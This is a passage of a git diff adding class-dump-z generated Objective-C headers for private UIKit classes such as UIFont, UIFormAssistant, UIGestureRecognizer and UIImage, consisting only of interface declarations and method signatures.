+-(void)_throwMemberListTest; +-(id)init; +-(CGPoint)offset; +-(void)setOffset:(CGPoint)offset; +-(void)setTarget:(id)target; +-(void)setStartLocation:(CGPoint)location; +-(void)setIterations:(int)iterations; +-(void)setDelay:(float)delay; +-(void)setDelegate:(id)delegate; +-(void)run; +@end + diff --git a/igor/headers/dumpedUIKit/UIFloatArray.h b/igor/headers/dumpedUIKit/UIFloatArray.h new file mode 100644 index 0000000..e2a8b9b --- /dev/null +++ b/igor/headers/dumpedUIKit/UIFloatArray.h @@ -0,0 +1,51 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "UIKit-Structs.h" + + +__attribute__((visibility("hidden"))) +@interface UIFloatArray : NSObject { +@private + int _count; + int _gapCount; + int* _gaps; + float _gapValue; + float _minValue; + union { + float singleton; + float* array; + } _values; + struct { + unsigned valueIsSingleton : 1; + unsigned hideGaps : 1; + unsigned unused : 30; + } _floatArrayFlags; +} +-(BOOL)_setupValuesWithCount:(int)count singleValue:(float)value isRefresh:(BOOL)refresh; +-(BOOL)_setupValuesWithCount:(int)count dataProvider:(id)provider isRefresh:(BOOL)refresh; +-(BOOL)_setupGapIndexesWithCount:(int)count dataProvider:(id)provider isRefresh:(BOOL)refresh; +-(BOOL)_setupWithDataProvider:(id)dataProvider valueIsSingleton:(BOOL)singleton singletonValue:(float)value isRefresh:(BOOL)refresh; +-(id)init; +-(id)copyWithZone:(NSZone*)zone; +-(void)dealloc; +-(BOOL)refreshWithDataProvider:(id)dataProvider singleValue:(float)value; +-(BOOL)refreshWithDataProvider:(id)dataProvider; +-(float)singleValue; +-(float)minValue; +-(int)valueCount; +-(float)sum; +-(CGPoint)offsetsForIndex:(int)index; +-(CGPoint)offsetsForGapIndex:(int)gapIndex; +-(XXStruct_7U_TLD)_indexesViaSingletonFromOffset:(float)offset toOffset:(float)offset2; +-(XXStruct_7U_TLD)_indexesViaArrayFromOffset:(float)offset toOffset:(float)offset2; +-(XXStruct_7U_TLD)indexesFromOffset:(float)offset toOffset:(float)offset2; +-(int)indexForGapIndex:(int)gapIndex; +-(void)hideGaps:(BOOL)gaps; +@end + diff --git a/igor/headers/dumpedUIKit/UIFont.h b/igor/headers/dumpedUIKit/UIFont.h new file mode 100644 index 0000000..411160a --- /dev/null +++ b/igor/headers/dumpedUIKit/UIFont.h @@ -0,0 +1,46 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSString; + +@interface UIFont : NSObject { +} +@property(readonly, assign, nonatomic) float xHeight; +@property(readonly, assign, nonatomic) float capHeight; +@property(readonly, assign, nonatomic) float leading; +@property(readonly, assign, nonatomic) float descender; +@property(readonly, assign, nonatomic) float ascender; +@property(readonly, assign, nonatomic) float pointSize; +@property(readonly, retain, nonatomic) NSString* fontName; +@property(readonly, retain, nonatomic) NSString* familyName; ++(id)__dummy; ++(id)fontWithName:(id)name size:(float)size; ++(id)fontWithFamilyName:(id)familyName traits:(int)traits size:(float)size; ++(id)fontWithMarkupDescription:(id)markupDescription; ++(id)familyNames; ++(id)fontNamesForFamilyName:(id)familyName; ++(id)systemFontOfSize:(float)size; ++(id)boldSystemFontOfSize:(float)size; ++(id)italicSystemFontOfSize:(float)size; ++(float)labelFontSize; ++(float)buttonFontSize; ++(float)smallSystemFontSize; ++(float)systemFontSize; +-(id)initWithName:(id)name size:(float)size; +-(id)initWithFamilyName:(id)familyName traits:(int)traits size:(float)size; +-(id)initWithMarkupDescription:(id)markupDescription; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(Class)classForCoder; +-(id)fontWithSize:(float)size; +-(int)traits; +-(BOOL)isFixedPitch; +-(id)markupDescription; +@end + diff --git a/igor/headers/dumpedUIKit/UIFontChooser.h b/igor/headers/dumpedUIKit/UIFontChooser.h new file mode 100644 index 0000000..61163ce --- /dev/null +++ b/igor/headers/dumpedUIKit/UIFontChooser.h @@ -0,0 +1,51 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKit-Structs.h" +#import "UITextFieldDelegate.h" + +@class UITextField, UITable; + +__attribute__((visibility("hidden"))) +@interface UIFontChooser : UIView { +@private + UITable* _nameTable; + UITable* _sizeTable; + UITextField* _sizeField; + CFArrayRef _familyNames; + id _delegate; + unsigned _sizes[15]; + unsigned _sizeBeforeEditing; +} ++(id)sharedFontChooser; +-(id)_tableWithFrame:(CGRect)frame; +-(CGRect)_nameTableFrame; +-(CGRect)_separatorFrame; +-(CGRect)_fieldBackgroundFrame; +-(CGRect)_sizeFieldFrame; +-(CGRect)_sizeTableFrame; +-(void)_updateSublayerFrames; +-(id)initWithFrame:(CGRect)frame; +-(void)setFrame:(CGRect)frame; +-(void)drawRect:(CGRect)rect; +-(int)numberOfRowsInTable:(id)table; +-(id)table:(id)table cellForRow:(int)row column:(id)column; +-(void)selectFamilyName:(id)name; +-(void)selectSize:(float)size; +-(void)selectFont:(id)font; +-(void)acceptSizeFromSizeField; +-(void)_finishedEditing:(id)editing; +-(void)tableSelectionDidChange:(id)tableSelection; +-(void)textFieldDidBecomeFirstResponder:(id)textField; +-(void)textFieldDidResignFirstResponder:(id)textField; +-(id)selectedFamilyName; +-(float)selectedSize; +-(void)setDelegate:(id)delegate; +-(id)delegate; +@end + diff --git a/igor/headers/dumpedUIKit/UIFormAssistant.h b/igor/headers/dumpedUIKit/UIFormAssistant.h new file mode 100644 index 0000000..fedd8df --- /dev/null +++ b/igor/headers/dumpedUIKit/UIFormAssistant.h @@ -0,0 +1,64 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKit-Structs.h" + +@class UITransitionView, UIImageView, WebView, UISegmentedControl, UIButton, UIPeripheralTransition; +@protocol UIFormPeripheral; + +@interface UIFormAssistant : UIView { + UIButton* _done; + UISegmentedControl* _tab; + UIButton* _autofill; + UIImageView* _navigation; + UITransitionView* _transition; + UIView* _currentPeripheral; + UIPeripheralTransition* _helper; + int _orientation; + WebView* _webView; + BOOL _autoFillAllowed; +} +@property(retain, nonatomic) UIView* _currentPeripheral; +@property(retain, nonatomic) UIPeripheralTransition* _helper; ++(id)_navigationImage; ++(id)sharedFormAssistant; ++(BOOL)isShowing; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)formDelegateHandleTextChangeInFrame:(id)frame withAutoFillSuggestions:(BOOL)autoFillSuggestions; +-(void)formDelegateFormElementDidSetValue:(id)formDelegateFormElement inFrame:(id)frame; +-(void)formDelegateFormElementDidFocus:(id)formDelegateFormElement inFrame:(id)frame; +-(void)formDelegateFormElementDidBlur:(id)formDelegateFormElement; +-(id)getUIWebDocumentViewForWebFrame:(id)webFrame; +-(void)done:(id)done; +-(void)tabFormNode:(id)node; +-(void)autoFill:(id)fill; +-(BOOL)canAutoFill; +-(void)synchronizeOrientationWithAnimation:(BOOL)animation; +-(void)layoutSubviews; +-(void)completeFormTransition; +-(void)_postKeyboardNotification:(id)notification; +-(void)setUpAnimation:(id)animation; +-(void)animationDidStop:(id)animation; +-(void)transitionViewDidComplete:(id)transitionView; +-(void)assistView:(id)view; +-(BOOL)autoFillAllowed; +-(void)startAssistingFormNode:(id)node; +-(id)assistedFormNode; +-(void)displayFormAssistant; +-(void)dismissFormAssistant; +-(void)willBeginEditingFormNode:(id)node; +-(void)usePeripheral:(id)peripheral forFormNode:(id)formNode; +-(void)reuseCurrentPeripheralForFormNode:(id)formNode; +-(void)beginEditingPeripheral:(id)peripheral; +-(void)endEditingPeripheral:(id)peripheral; +-(void)setFormNode:(id)node; +-(CGRect)peripheralFrame; +-(void)autoFillWithFormNode:(id)formNode; +@end + diff --git a/igor/headers/dumpedUIKit/UIFormAssistantDelegate.h b/igor/headers/dumpedUIKit/UIFormAssistantDelegate.h new file mode 100644 index 0000000..b6033b6 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIFormAssistantDelegate.h @@ -0,0 +1,15 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "NSObject.h" + + +@protocol UIFormAssistantDelegate +-(void)formAssistant:(id)assistant didBeginEditingFormNode:(id)node; +-(void)formAssistant:(id)assistant didEndEditingFormNode:(id)node; +@end + diff --git a/igor/headers/dumpedUIKit/UIFormPeripheral.h b/igor/headers/dumpedUIKit/UIFormPeripheral.h new file mode 100644 index 0000000..db72469 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIFormPeripheral.h @@ -0,0 +1,18 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + + + +@protocol UIFormPeripheral +-(void)setPeripheralFormNode:(id)node; +-(void)beginEditing; +-(void)endEditing; +-(void)reset; +-(id)peripheralFormNode; +-(BOOL)isKeyboard; +@end + diff --git a/igor/headers/dumpedUIKit/UIFrameAnimation.h b/igor/headers/dumpedUIKit/UIFrameAnimation.h new file mode 100644 index 0000000..dd4e01c --- /dev/null +++ b/igor/headers/dumpedUIKit/UIFrameAnimation.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIAnimation.h" + + +@interface UIFrameAnimation : UIAnimation { + CGRect _startFrame; + CGRect _endFrame; + int _fieldsToChange; +} +-(id)initWithTarget:(id)target; +-(void)setStartFrame:(CGRect)frame; +-(void)setEndFrame:(CGRect)frame; +-(CGRect)endFrame; +-(void)setSignificantRectFields:(int)fields; +-(void)setProgress:(float)progress; +@end + diff --git a/igor/headers/dumpedUIKit/UIGestureAnimation.h b/igor/headers/dumpedUIKit/UIGestureAnimation.h new file mode 100644 index 0000000..d65731c --- /dev/null +++ b/igor/headers/dumpedUIKit/UIGestureAnimation.h @@ -0,0 +1,21 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIAnimation.h" + + +__attribute__((visibility("hidden"))) +@interface UIGestureAnimation : UIAnimation { +@private + SEL _progressSelector; + int _gestureType; +} +-(id)initWithTarget:(id)target progressSelector:(SEL)selector gestureType:(int)type; +-(void)setProgress:(float)progress; +-(int)gestureType; +@end + diff --git a/igor/headers/dumpedUIKit/UIGestureDelayedTouch.h b/igor/headers/dumpedUIKit/UIGestureDelayedTouch.h new file mode 100644 index 0000000..0a54c9c --- /dev/null +++ b/igor/headers/dumpedUIKit/UIGestureDelayedTouch.h @@ -0,0 +1,27 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class UIEvent, UITouch; + +__attribute__((visibility("hidden"))) +@interface UIGestureDelayedTouch : NSObject { +@private + UITouch* _touch; + UITouch* _touchState; + UITouch* _savedTouchState; + UIEvent* _event; +} +@property(retain) UITouch* touch; +@property(retain) UITouch* touchState; +@property(retain) UITouch* savedTouchState; +@property(retain) UIEvent* event; +-(id)init; +-(void)dealloc; +@end + diff --git a/igor/headers/dumpedUIKit/UIGestureInfo.h b/igor/headers/dumpedUIKit/UIGestureInfo.h new file mode 100644 index 0000000..42d7c9a --- /dev/null +++ b/igor/headers/dumpedUIKit/UIGestureInfo.h @@ -0,0 +1,60 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import + +@class UIScrollAnimation, UIGestureAnimation; + +__attribute__((visibility("hidden"))) +@interface UIGestureInfo : NSObject { +@private + id delegate; + int enabledGestures; + int rotationState; + int zoomState; + int panState; + CGPoint startGestureInner; + CGPoint startGestureOuter; + CGPoint startScrollPoint; + CGPoint endScrollPoint; + CGSize visibleSize; + CGRect centerRect; + UIGestureAnimation* rotationAnimation; + float rotationDegrees; + float recentRotationDegrees; + float minDegrees; + float maxDegrees; + float startDegrees; + float endDegrees; + UIGestureAnimation* zoomAnimation; + int zoomRubberBandHysteresisCount; + float zoomScale; + float startScale; + float endScale; + float unadjustedScale; + float zoomMultiplier; + float minScale; + float maxScale; + CGPoint zoomFailureWindowPoint; + float zoomFailureDuration; + float zoomFailureStartScale; + float zoomAnimationProgress; + UIScrollAnimation* scrollAnimation; + struct { + unsigned pushedRunLoop : 1; + unsigned isRotatingRight : 1; + unsigned isZoomRubberBandEnabled : 1; + unsigned zoomsFromCurrentToMinOrMax : 1; + unsigned updatesScroller : 1; + unsigned isAnimatingZoomFailure : 1; + } flags; +} +-(id)init; +-(void)dealloc; +@end + diff --git a/igor/headers/dumpedUIKit/UIGestureRecognizer.h b/igor/headers/dumpedUIKit/UIGestureRecognizer.h new file mode 100644 index 0000000..abc5f04 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIGestureRecognizer.h @@ -0,0 +1,90 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import + +@class NSMutableSet, UIEvent, NSMutableArray, UIView; + +@interface UIGestureRecognizer : NSObject { +@private + id _target; + SEL _action; + UIView* _view; + NSMutableArray* _delayedTouches; + UIEvent* _updateEvent; + NSMutableSet* _obstacles; + NSMutableSet* _vultures; + NSMutableSet* _friends; + int _state; + struct { + unsigned pushedRunLoop : 1; + unsigned isRotatingRight : 1; + unsigned isZoomRubberBandEnabled : 1; + unsigned zoomsFromCurrentToMinOrMax : 1; + unsigned updatesScroller : 1; + unsigned isAnimatingZoomFailure : 1; + } _gestureFlags; +} +@property(assign, nonatomic) id target; +@property(assign, nonatomic) SEL action; +@property(assign, nonatomic) int state; +@property(assign, nonatomic, getter=isEnabled) BOOL enabled; +@property(assign, nonatomic, getter=isExclusive) BOOL exclusive; +@property(assign, nonatomic) BOOL delaysTouchesEnded; +@property(assign, nonatomic) BOOL delaysTouchesBegan; +@property(assign, nonatomic) BOOL cancelsTouchesInView; +@property(readonly, assign, nonatomic) UIView* view; ++(void)_setDelaysDirtyReset:(BOOL)reset; ++(BOOL)_delaysDirtyReset; +-(id)initWithTarget:(id)target action:(SEL)action; +-(id)init; +-(void)dealloc; +-(void)_clearUpdateTimer; +-(void)reset; +-(void)setView:(id)view; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)touchesCancelled:(id)cancelled withEvent:(id)event; +-(void)ignoreTouch:(id)touch forEvent:(id)event; +-(void)_delayTouch:(id)touch forEvent:(id)event; +-(BOOL)_isDelayingTouch:(id)touch; +-(BOOL)_canFinishDelayedTouch:(id)touch; +-(id)_activeTouchesForEvent:(id)event; +-(CGPoint)centroidOfTouches:(id)touches; +-(id)delayedTouchForTouch:(id)touch; +-(void)_touchWasCancelled:(id)cancelled; +-(void)_clearDelayedTouches; +-(void)_enqueueDelayedTouchesToSend; +-(void)_updateGestureWithEvent:(id)event; +-(void)_delayedUpdateGesture; +-(void)_updateGestureStateWithEvent:(id)event afterDelay:(BOOL)delay; +-(BOOL)_isRecognized; +-(int)_depthFirstViewCompare:(id)compare; +-(BOOL)_affectedByGesture:(id)gesture; +-(BOOL)_isExcludedFromGestures:(id)gestures; +-(BOOL)_shouldSaveGestureFromExclusion:(id)exclusion; +-(void)_setDirty; +-(void)_resetIfDirty; +-(void)_resetIfFinished; +-(void)requireOtherGestureToFail:(id)fail; +-(void)addFriendGesture:(id)gesture; +-(BOOL)isFriendWithGesture:(id)gesture; +-(void)_addBlockedGesture:(id)gesture; +-(void)_removeBlockedGesture:(id)gesture; +-(BOOL)_isBlockingOtherGestures; +-(void)_blockingGestureDidComplete:(id)_blockingGesture; +-(BOOL)_isWaitingForGesturesToFail; +-(id)_blockingGestures; +-(BOOL)_refusesMoreTouches; +-(id)_desriptionForDependencies:(id)dependencies; +-(id)_descriptionIncludingDependencies:(BOOL)dependencies; +-(id)description; +-(void)_invalidate; +@end + diff --git a/igor/headers/dumpedUIKit/UIGlassButton.h b/igor/headers/dumpedUIKit/UIGlassButton.h new file mode 100644 index 0000000..a142b7f --- /dev/null +++ b/igor/headers/dumpedUIKit/UIGlassButton.h @@ -0,0 +1,30 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIButton.h" +#import "UIKit-Structs.h" + +@class UIColor; + +__attribute__((visibility("hidden"))) +@interface UIGlassButton : UIButton { +@private + UIColor* _tintColor; +} +@property(retain, nonatomic) UIColor* tintColor; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(CGSize)sizeThatFits:(CGSize)fits; +-(CGRect)titleRectForContentRect:(CGRect)contentRect; +-(void)setTitleColor:(id)color forStates:(unsigned)states; +-(id)titleColorForState:(unsigned)state; +-(void)setTitleShadowColor:(id)color forStates:(unsigned)states; +-(id)titleShadowColorForState:(unsigned)state; +-(void)setBackgroundImage:(id)image forStates:(unsigned)states; +-(id)backgroundImageForState:(unsigned)state; +@end + diff --git a/igor/headers/dumpedUIKit/UIGradient.h b/igor/headers/dumpedUIKit/UIGradient.h new file mode 100644 index 0000000..24b57e6 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIGradient.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import + + +@interface UIGradient : NSObject { + XXStruct_iyXfGC* _values; + float _height; + CGShadingRef _shader; +} +-(id)initVerticalWithValues:(XXStruct_iyXfGC*)values; +-(void)fillRect:(CGRect)rect inContext:(CGContextRef)context; +-(void)fillRect:(CGRect)rect; +-(void)dealloc; +@end + diff --git a/igor/headers/dumpedUIKit/UIGradientBar.h b/igor/headers/dumpedUIKit/UIGradientBar.h new file mode 100644 index 0000000..22061ff --- /dev/null +++ b/igor/headers/dumpedUIKit/UIGradientBar.h @@ -0,0 +1,25 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIImageView; + +@interface UIGradientBar : UIView { + UIImageView* _topShineView; + UIImageView* _gradientFillView; +} ++(id)bottomLineColor; +-(void)_tile; +-(id)initWithFrame:(CGRect)frame; +-(void)drawRect:(CGRect)rect; +-(void)dealloc; +-(void)setFrame:(CGRect)frame; +-(id)hitTest:(CGPoint)test forEvent:(GSEventRef)event; +@end + diff --git a/igor/headers/dumpedUIKit/UIGroupDeletionItem.h b/igor/headers/dumpedUIKit/UIGroupDeletionItem.h new file mode 100644 index 0000000..af51000 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIGroupDeletionItem.h @@ -0,0 +1,27 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSIndexSet; + +@interface UIGroupDeletionItem : NSObject { +@private + unsigned _lastIndex; + int _group; + NSIndexSet* _indexes; +} +-(id)initWithGroup:(int)group; +-(id)initWithGroup:(int)group andIndexes:(id)indexes; +-(id)initWithIndexes:(id)indexes inGroup:(int)group; +-(void)dealloc; +-(int)group; +-(id)indexes; +-(unsigned)lastIndex; +-(void)setLastIndex:(unsigned)index; +@end + diff --git a/igor/headers/dumpedUIKit/UIGroupInsertionItem.h b/igor/headers/dumpedUIKit/UIGroupInsertionItem.h new file mode 100644 index 0000000..533b12f --- /dev/null +++ b/igor/headers/dumpedUIKit/UIGroupInsertionItem.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "UIKit-Structs.h" + + +@interface UIGroupInsertionItem : NSObject { +@private + int _index; + NSRange _range; +} +-(id)initWithExistingGroup:(int)existingGroup andRowRange:(NSRange)range; +-(id)initWithNewGroupBeforeGroup:(int)newGroupBeforeGroup andRowCount:(int)count; +-(int)groupIndex; +-(NSRange)range; +@end + diff --git a/igor/headers/dumpedUIKit/UIGroupTableViewCellBackground.h b/igor/headers/dumpedUIKit/UIGroupTableViewCellBackground.h new file mode 100644 index 0000000..2a5ebb3 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIGroupTableViewCellBackground.h @@ -0,0 +1,47 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKit-Structs.h" +#import "UIGroupTableViewCellBackground.h" + + +__attribute__((visibility("hidden"))) +@interface UIGroupTableViewCellBackground : UIView { +@private + int _sectionLocation; + int _animationCount; + BOOL _disableSeparator; + UIView* _separatorView; +} +@property(assign, nonatomic) int sectionLocation; ++(void)_flushCacheOnMemoryWarning:(id)warning; ++(void)initialize; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)setFrame:(CGRect)frame; +-(void)_setSectionLocationAnimationDidStop; +-(void)setSectionLocation:(int)location animated:(BOOL)animated; +-(void)setBackgroundColor:(id)color; +-(id)backgroundColor; +-(void)layoutSubviews; +@end + +@interface UIGroupTableViewCellBackground (UIGroupTableViewCellBackgroundInternal) +-(CGContextRef)_createContextForCachingWithFrame:(CGRect)frame isOpaque:(BOOL)opaque; +-(CGImageRef)_cachedImageWithSize:(CGSize)size forBackgroundColor:(id)backgroundColor borderColor:(id)color fillColor:(id)color4 leftPhase:(float)phase rightPhase:(float)phase6 ignoreSectionLocation:(BOOL)location; +-(CGRect)_contentRectForContentHeight:(float)contentHeight; +-(void)_incrementAnimationCount; +-(void)_decrementAnimationCount; +-(id)_backgroundColor; +-(id)_borderColor; +-(id)_fillColor; +-(void)_updateSeparatorView; +-(void)_updateContentsRectAndCenter; +-(void)_layoutSubviews:(BOOL)subviews; +@end + diff --git a/igor/headers/dumpedUIKit/UIGroupTableViewCellDrawnBackground.h b/igor/headers/dumpedUIKit/UIGroupTableViewCellDrawnBackground.h new file mode 100644 index 0000000..04ec6bb --- /dev/null +++ b/igor/headers/dumpedUIKit/UIGroupTableViewCellDrawnBackground.h @@ -0,0 +1,37 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" +#import "UIGroupTableViewCellDrawnBackground.h" + +@class UIBezierPath; + +__attribute__((visibility("hidden"))) +@interface UIGroupTableViewCellDrawnBackground : UIView { +@private + int _sectionLocation; + int _selectionStyle; + UIBezierPath* _fillPath; + UIBezierPath* _strokePath; +} +@property(assign, nonatomic) int selectionStyle; +@property(assign, nonatomic) int sectionLocation; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)_invalidatePaths; +-(void)setFrame:(CGRect)frame; +-(void)setSectionLocation:(int)location animated:(BOOL)animated; +-(void)_createBezierPathWithCornerRadius:(float)cornerRadius bottomRadius:(float)radius animating:(BOOL)animating; +-(void)drawRect:(CGRect)rect; +-(void)layoutSubviews; +@end + +@interface UIGroupTableViewCellDrawnBackground (Internal) +-(id)_roundRectBezierPathForRect:(CGRect)rect cornerRadius:(float)radius; +@end + diff --git a/igor/headers/dumpedUIKit/UIHardware.h b/igor/headers/dumpedUIKit/UIHardware.h new file mode 100644 index 0000000..900a437 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIHardware.h @@ -0,0 +1,37 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import + + +@interface UIHardware : NSObject { +} ++(float)statusBarHeight; ++(void)_setStatusBarHeight:(float)height; ++(CGSize)mainScreenSize; ++(CGRect)fullScreenApplicationContentRect; ++(int)ringerState; ++(int)deviceOrientation:(BOOL)orientation; ++(BOOL)setSpeakerPhoneEnabled:(BOOL)enabled; ++(BOOL)isTTYEnabled; ++(CGSize)TVScreenSize; ++(float)TVHorizontalPixelScale; ++(BOOL)_TVOutStatus:(BOOL)status; ++(BOOL)TVOutCapableAndPreferred; ++(BOOL)TVOutCapable; ++(void)TVOutResetPreferred; ++(void)alertSheet:(id)sheet buttonClicked:(int)clicked; ++(void)accessoryAvailabilityChanged; ++(id)deviceName; ++(id)localizedDeviceName; ++(void)_updateSystemSoundActiveStatus:(id)status; ++(void)_registerForSystemSounds:(id)systemSounds; ++(void)_unregisterForSystemSounds:(id)systemSounds; ++(void)_playSystemSound:(unsigned long)sound; +@end + diff --git a/igor/headers/dumpedUIKit/UIHighlightView.h b/igor/headers/dumpedUIKit/UIHighlightView.h new file mode 100644 index 0000000..d48cce2 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIHighlightView.h @@ -0,0 +1,37 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKit-Structs.h" + +@class UIColor, NSArray, NSMutableArray; + +__attribute__((visibility("hidden"))) +@interface UIHighlightView : UIView { +@private + UIColor* _color; + float _cornerRadius; + CGRect _invertedHighlightClipRect; + NSArray* _cornerRadii; + NSMutableArray* _innerBounds; + NSMutableArray* _innerQuads; + BOOL _invertHighlight; +} +-(id)initWithFrame:(CGRect)frame; +-(void)cleanUp; +-(void)dealloc; +-(void)setColor:(id)color; +-(void)setCornerRadius:(float)radius; +-(void)setCornerRadii:(id)radii; +-(void)setFrames:(id)frames boundaryRect:(CGRect)rect; +-(void)setQuads:(id)quads boundaryRect:(CGRect)rect; +-(void)setFrame:(CGRect)frame; +-(void)setInvertHighlight:(BOOL)highlight clipRect:(CGRect)rect; +-(void)drawRect:(CGRect)rect; +-(id)hitTest:(CGPoint)test forEvent:(GSEventRef)event; +@end + diff --git a/igor/headers/dumpedUIKit/UIITunesStoreURLResolver.h b/igor/headers/dumpedUIKit/UIITunesStoreURLResolver.h new file mode 100644 index 0000000..02c3c5f --- /dev/null +++ b/igor/headers/dumpedUIKit/UIITunesStoreURLResolver.h @@ -0,0 +1,30 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSArray; + +__attribute__((visibility("hidden"))) +@interface UIITunesStoreURLResolver : NSObject { +@private + NSArray* _appStoreHostPatterns; + NSArray* _appStorePathPatterns; + NSArray* _hostWhiteList; + NSArray* _musicStoreHostPatterns; + NSArray* _musicStorePathPatterns; +} ++(void)invalidate; ++(id)sharedResolver; +-(id)init; +-(void)dealloc; +-(int)urlTypeForURL:(id)url; +-(id)_copyRegularExpressionsFromArray:(id)array; +-(BOOL)_string:(id)string matchesPatterns:(id)patterns; +-(BOOL)_url:(id)url matchesHostPatterns:(id)patterns pathPatterns:(id)patterns3; +@end + diff --git a/igor/headers/dumpedUIKit/UIImage.h b/igor/headers/dumpedUIKit/UIImage.h new file mode 100644 index 0000000..af462ff --- /dev/null +++ b/igor/headers/dumpedUIKit/UIImage.h @@ -0,0 +1,100 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import +#import "UIImage.h" + + +@interface UIImage : NSObject { +@private + void* _imageRef; + struct { + unsigned named : 1; + unsigned imageOrientation : 3; + unsigned cached : 1; + unsigned stretchable : 1; + } _imageFlags; +} +@property(readonly, assign, nonatomic) int topCapHeight; +@property(readonly, assign, nonatomic) int leftCapWidth; +@property(readonly, assign, nonatomic) int imageOrientation; +@property(readonly, assign, nonatomic) CGImageRef CGImage; +@property(readonly, assign, nonatomic) CGSize size; ++(void)initialize; ++(id)imageNamed:(id)named; ++(id)imageWithContentsOfFile:(id)file; ++(id)imageWithData:(id)data; ++(id)imageWithCGImage:(CGImageRef)cgimage; 